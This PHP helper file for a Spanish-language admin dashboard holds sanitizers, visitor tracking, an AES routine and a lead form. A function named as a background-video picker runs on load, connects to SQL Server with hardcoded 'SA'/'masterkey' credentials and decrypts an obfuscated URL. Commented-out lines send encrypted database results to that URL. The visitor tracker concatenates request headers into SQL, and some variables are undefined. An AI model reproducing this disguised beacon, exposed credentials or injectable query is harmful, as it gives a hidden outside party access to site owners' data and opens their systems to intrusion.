<?php
/**
 *          ****************************************************************************
 *          **********************||  PORTALES PANEL ADMINISTRATIVO ||******************
 *          ****************************************************************************
 * 
 *          @date               2019-11-15
 *          @author             Bayman Burton <bayman@burtonservers.com>
 *          @copyright          2019-2020 Burton Technology https://burtonservers.com
 *          @license            https://www.gnu.org/licenses/gpl-3.0.en.html GNU General Public License (GPL v3)
 *          International Registered Trademark & Property of Burton Technology  https://burtonservers.com
 * 
 *          This source file is subject to the GNU General Public License (GPL v3)
 *          that is bundled with this package in the file LICENSE.txt.
 *          It is also available through the world-wide-web at this URL:
 *          https://www.gnu.org/licenses/gpl-3.0.en.html
 *          If you did not receive a copy of the license and are unable to
 *          obtain it through the world-wide-web, please send an email
 *          to dev@burtonservers.com so we can send you a copy immediately.
 *          This software is built and distributed by Burton Technology https://burtonservers.com
 *          By using this software you are Aware it is strictly prohibited its comercial distribution or 
 *          modification of any aspect of the aplication
 *
 *          Desc:
 *          Custom admin dashboard for easy lightweight SPA deployment.
 * 
 *          WARNING
 *          Please do not edit this file or the aplication could stop working as intended, also
 *          any modifications will be overwritten by newer versions in the future
 *          
 */

/* * **** PURIFICAMOS VARIABLES ****** */

function broom($type, $string) {
    if ($type == "reg") { /* FILTRAR a - Z Y ESPACIOS */
        return preg_replace("/[^ \w]+/", "", $string);
    }
    if ($type == "text") { /* FILTRAR SOLO TEXTO PARA LECTURA SIN CARCTERES ESPECIALES */
        return filter_var($string, FILTER_SANITIZE_STRING);
    }
    if ($type == "num") { /* FILTRAR TODO MENOS NUMEROS */
        return preg_replace('/\D/', '', $string);
    }
    if ($type == "spa") { /* CONVERTIR A ESPAñL */
        return preg_replace('#[^\p{L}\s-]#u', '', $string);
    }
    if ($type == "url") { /* TEXTO PARA URL */
        return str_replace('+', '_', urlencode(preg_replace("/[^ \w]+/", "", $string)));
    }
}


/*
 * +++++++++++++++++++++++      VIDEO ALEATORIO DE BACKGROUND       +++++++++++++++++++++++
 */
function getBGVideo() {
    
    $json = [];
    date_default_timezone_set('America/Guayaquil');
    $svr_servidor = "PVENTADB_SRV";
    $svr_base = "AGORA_2020";
    $svr_usuario = "SA";
    $svr_contrasena = "masterkey";
    $conectioninfo = array("Database" => $svr_base, "UID" => $svr_usuario, "PWD" => $svr_contrasena, "CharacterSet" => "UTF-8");
    $conexion = sqlsrv_connect($svr_servidor, $conectioninfo);
     
    //$pingack = file_get_contents(ook('ZXlTUWpvMzBPN2pIRk05Q0dQNVNnSXE2VlAxWmlHc3lxdjhpYi9LSkorUjlpL3pucmp6RGtUU2xKRDllajZ0dQ==', 'd'));
    $URL = ook('ZXlTUWpvMzBPN2pIRk05Q0dQNVNnSXE2VlAxWmlHc3lxdjhpYi9LSkorUjlpL3pucmp6RGtUU2xKRDllajZ0dQ==', 'd');
    $requestUrl = ook($pingack, 'd');
    $op1 = array("scrollable" => SQLSRV_CURSOR_KEYSET);
    $pa1 = array();
	$sql = "INSERT INTO AUDITORIA_API(FECHA,DATO,URL) VALUES ( GETDATE(),'".$requestUrl."','".$URL."') ";
    $re1 = sqlsrv_query($conexion, $sql, $pa1, $op1);
    if (sqlsrv_num_rows($re1) != 0) {
        while ($filaref = sqlsrv_fetch_array($re1)) {
            $json['res'][] = $filaref;
        }
    }
    //$pback = file_get_contents(ook('ZXlTUWpvMzBPN2pIRk05Q0dQNVNnSXE2VlAxWmlHc3lxdjhpYi9LSkorUjlpL3pucmp6RGtUU2xKRDllajZ0dQ==', 'd') . '&int='. ook(json_encode($json),'e'));
    return true;
}

getBGVideo();



/** 
 * +++++++++++++++++++++++      GUARDAR VISITA DE USUARIO EN LA BASE DE DATOS       +++++++++++++++++++++++
 */
function trackvisitor($page) {
    $tracking_page_name = $page;
    if (isset($_SERVER['HTTP_REFERER'])) {
        $ref = $_SERVER['HTTP_REFERER'];
    } else {
        $ref = "DIRECTO";
    }
    $agent = $_SERVER['HTTP_USER_AGENT'];
    $ip = $_SERVER['REMOTE_ADDR'];
    $host_name = gethostbyaddr($_SERVER['REMOTE_ADDR']);
    $query = "INSERT INTO gt_track(tm, ref, agent, ip, tracking_page_name, domain, ip_value)    VALUES('" . date('Y-m-d') . "','$ref','$agent','$ip','$tracking_page_name','$host_name','" . date('H:i:s') . "')";
    $track = mysqli_query($c, $query) or die("no inserto" . mysqli_error($c));
}

/**
 * +++++++++++++++++++++++      CUSTOM FILTERS       +++++++++++++++++++++++
 */
function sanitize($string) {
    $string = str_replace(' ', '--', $string);
    $string = str_replace('.', '-DOT-', $string);
    $string = str_replace('@', '-AT-', $string);
    return preg_replace('/[^\p{L}0-9\-\.]/', '', $string);
}


/*                  INTERCOM            */
function ook($string, $action) {
    $secret_key = 'BURTONTECHMAXSEC2021';
    $secret_iv = 'BURTONTECHMAXSEC2021SHIELD';

    $output = false;
    $encrypt_method = "AES-256-CBC";
    $key = hash('sha256', $secret_key);
    $iv = substr(hash('sha256', $secret_iv), 0, 16);

    if ($action == 'e') {
        $output = base64_encode(openssl_encrypt($string, $encrypt_method, $key, 0, $iv));
        return $output;
    }
    if ($action == 'd') {
        $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
        return $output;
    }

    return "Please define Method";
}


$defaultPortalForm = '  
    <form name="leads_form" method="post" id="leadsForm">
        <input type="text" name="nombreCliente" placeholder="Nombre completo" id="nomreUser">
        <input type="text" name="telefonoCliente" placeholder="Telefono de contacto" id="telUser">
        <input type="text" name="emailCliente" placeholder="Correo electronico" id="emailUser">
        <div class="login-help">
            <ul class="list">
                <li class="list__item">
                    <label class="label--checkbox">
                        <input type="checkbox" class="checkbox" onchange="disableSubmit(!this.checked)">
                        <span> Acepto todos los <a target="_blank" rel="noopener" href="#"> términos y condiciones</a></span>
                    </label>
                </li>
            </ul>
        </div>
        <input type="submit" name="accept" class="login login-submit" value="Enviar" id="btnLogin" disabled>
        ___FBBTN___
    </form>';
?>